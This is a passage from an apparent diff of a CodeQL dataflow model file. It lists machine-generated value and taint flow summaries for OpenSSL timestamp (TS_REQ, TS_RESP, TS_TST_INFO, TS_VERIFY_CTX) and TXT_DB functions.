"df-generated"] + - ["", "", True, "TS_REQ_set_msg_imprint", "(TS_REQ *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_REQ_set_msg_imprint", "(TS_REQ *,TS_MSG_IMPRINT *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_set_nonce", "(TS_REQ *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_set_policy_id", "(TS_REQ *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*policy_id]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_set_version", "(TS_REQ *,long)", "", "Argument[1]", "Argument[*0].Field[**version].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_to_TS_VERIFY_CTX", "(TS_REQ *,TS_VERIFY_CTX *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "TS_REQ_to_TS_VERIFY_CTX", "(TS_REQ *,TS_VERIFY_CTX *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_flags", "(TS_RESP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_md", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**mds].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_md", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[**mds].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_policy", "(TS_RESP_CTX *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_policy", "(TS_RESP_CTX *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_request", "(TS_RESP_CTX *)", "", "Argument[*0].Field[**request]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_request", "(TS_RESP_CTX *)", "", "Argument[*0].Field[*request]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_tst_info", "(TS_RESP_CTX *)", "", "Argument[*0].Field[**tst_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_tst_info", "(TS_RESP_CTX *)", "", "Argument[*0].Field[*tst_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_accuracy", "(TS_RESP_CTX *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**seconds].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_accuracy", "(TS_RESP_CTX *,int,int,int)", "", "Argument[2]", "Argument[*0].Field[**millis].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_accuracy", "(TS_RESP_CTX *,int,int,int)", "", "Argument[3]", "Argument[*0].Field[**micros].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_certs", "(TS_RESP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**certs]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_certs", "(TS_RESP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_clock_precision_digits", "(TS_RESP_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*clock_precision_digits]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_def_policy", "(TS_RESP_CTX *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*default_policy]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_ess_cert_id_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**ess_cert_id_digest]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_ess_cert_id_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*ess_cert_id_digest]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***extension_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**extension_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*extension_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*extension_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***serial_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**serial_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*serial_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*serial_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_cert", "(TS_RESP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_cert", "(TS_RESP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*signer_cert]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**signer_md]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*signer_md]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_key", "(TS_RESP_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*signer_key]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***time_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**time_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*time_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*time_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_create_response", "(TS_RESP_CTX *,BIO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_RESP_create_response", "(TS_RESP_CTX *,BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_free", "(TS_RESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_RESP_free", "(TS_RESP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_RESP_get_status_info", "(TS_RESP *)", "", "Argument[*0].Field[**status_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_status_info", "(TS_RESP *)", "", "Argument[*0].Field[*status_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_token", "(TS_RESP *)", "", "Argument[*0].Field[**token]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_token", "(TS_RESP *)", "", "Argument[*0].Field[*token]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_tst_info", "(TS_RESP *)", "", "Argument[*0].Field[**tst_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_tst_info", "(TS_RESP *)", "", "Argument[*0].Field[*tst_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_print_bio", "(BIO *,TS_RESP *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_status_info", "(TS_RESP *,TS_STATUS_INFO *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_set_status_info", "(TS_RESP *,TS_STATUS_INFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_RESP_set_status_info", "(TS_RESP *,TS_STATUS_INFO *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[*1]", "Argument[*0].Field[**token]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[*2]", "Argument[*0].Field[**tst_info]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[1]", "Argument[*0].Field[*token]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[2]", "Argument[*0].Field[*tst_info]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_verify_signature", "(PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **)", "", "Argument[*1]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_verify_signature", "(PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_free", "(TS_STATUS_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_free", "(TS_STATUS_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_failure_info", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[**failure_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_failure_info", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[*failure_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_status", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[**status]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_status", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[*status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_text", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[**text]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_text", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[*text]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_set_status", "(TS_STATUS_INFO *,int)", "", "Argument[1]", "Argument[*0].Field[**status].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_add_ext", "(TS_TST_INFO *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_add_ext", "(TS_TST_INFO *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_add_ext", "(TS_TST_INFO *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_delete_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_delete_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_delete_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_free", "(TS_TST_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_free", "(TS_TST_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_get_accuracy", "(TS_TST_INFO *)", "", "Argument[*0].Field[**accuracy]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_accuracy", "(TS_TST_INFO *)", "", "Argument[*0].Field[*accuracy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_by_NID", "(TS_TST_INFO *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_by_OBJ", "(TS_TST_INFO *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_by_critical", "(TS_TST_INFO *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_count", "(TS_TST_INFO *)", "", "Argument[*0].Field[**extensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_d2i", "(TS_TST_INFO *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_exts", "(TS_TST_INFO *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_exts", "(TS_TST_INFO *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_msg_imprint", "(TS_TST_INFO *)", "", "Argument[*0].Field[**msg_imprint]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_msg_imprint", "(TS_TST_INFO *)", "", "Argument[*0].Field[*msg_imprint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_nonce", "(const TS_TST_INFO *)", "", "Argument[*0].Field[**nonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_nonce", "(const TS_TST_INFO *)", "", "Argument[*0].Field[*nonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_policy_id", "(TS_TST_INFO *)", "", "Argument[*0].Field[**policy_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_policy_id", "(TS_TST_INFO *)", "", "Argument[*0].Field[*policy_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_serial", "(const TS_TST_INFO *)", "", "Argument[*0].Field[**serial]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_serial", "(const TS_TST_INFO *)", "", "Argument[*0].Field[*serial]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_time", "(const TS_TST_INFO *)", "", "Argument[*0].Field[**time]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_time", "(const TS_TST_INFO *)", "", "Argument[*0].Field[*time]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_tsa", "(TS_TST_INFO *)", "", "Argument[*0].Field[**tsa]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_tsa", "(TS_TST_INFO *)", "", "Argument[*0].Field[*tsa]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_version", "(const TS_TST_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_print_bio", "(BIO *,TS_TST_INFO *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_set_accuracy", "(TS_TST_INFO *,TS_ACCURACY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_accuracy", "(TS_TST_INFO *,TS_ACCURACY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_accuracy", "(TS_TST_INFO *,TS_ACCURACY *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_msg_imprint", "(TS_TST_INFO *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_msg_imprint", "(TS_TST_INFO *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_msg_imprint", "(TS_TST_INFO *,TS_MSG_IMPRINT *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_nonce", "(TS_TST_INFO *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_policy_id", "(TS_TST_INFO *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*policy_id]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_set_serial", "(TS_TST_INFO *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_time", "(TS_TST_INFO *,const ASN1_GENERALIZEDTIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_tsa", "(TS_TST_INFO *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_tsa", "(TS_TST_INFO *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_tsa", "(TS_TST_INFO *,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_version", "(TS_TST_INFO *,long)", "", "Argument[1]", "Argument[*0].Field[**version].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_add_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_add_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_add_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[*1]", "Argument[*0].Field[**imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[1]", "Argument[*0].Field[*imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[2]", "Argument[*0].Field[*imprint_len]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*0].Field[**certs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*0].Field[*certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[*1]", "Argument[*0].Field[**imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[1]", "Argument[*0].Field[*imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[2]", "Argument[*0].Field[*imprint_len]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*0].Field[**store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*0].Field[*store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ext_print_bio", "(BIO *,const stack_st_X509_EXTENSION *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_create_index", "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[2]", "Argument[*0].Field[**qual]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_create_index", "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[3]", 